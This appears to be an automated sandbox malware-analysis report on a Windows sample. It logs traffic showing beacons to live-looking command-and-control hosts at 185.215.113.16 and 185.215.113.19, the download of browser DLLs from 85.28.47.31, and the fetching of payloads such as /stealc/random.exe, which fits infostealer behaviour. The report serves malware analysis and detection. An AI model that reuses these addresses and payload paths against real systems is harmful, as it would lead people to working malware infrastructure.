Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 85.28.47.31 85.28.47.31
Source: Joe Sandbox View	IP Address: 185.215.113.19 185.215.113.19

Source: Joe Sandbox View	ASN Name: GES-ASRU GES-ASRU
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

0_2_00405000

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/sqlite3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/freebl3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/mozglue.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/msvcp140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/nss3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/softokn3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/vcruntime140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE place_id = (SELECT id FROM moz_places WHERE url_hash = hash(:urlDownloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: UpdateService.canUsuallyCheckForUpdates - unable to automatically check for updates, the option has been disabled by the administrator.UpdateService:selectUpdate - the user requires elevation to install this update, but the user has exceeded the max number of elevation attempts.https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/MAX(EXISTS( equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE place_id = (SELECT id FROM moz_places WHERE url_hash = hash(:urlDownloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: UpdateService.canUsuallyCheckForUpdates - unable to automatically check for updates, the option has been disabled by the administrator.UpdateService:selectUpdate - the user requires elevation to install this update, but the user has exceeded the max number of elevation attempts.https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/MAX(EXISTS( equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'True if the "Variant 2" of the Migration Wizard browser / profile selection UI should be used. This is only meaningful in the new Migration Wizard.It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'True if the "Variant 2" of the Migration Wizard browser / profile selection UI should be used. This is only meaningful in the new Migration Wizard.It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.twitter.com (Twitter)
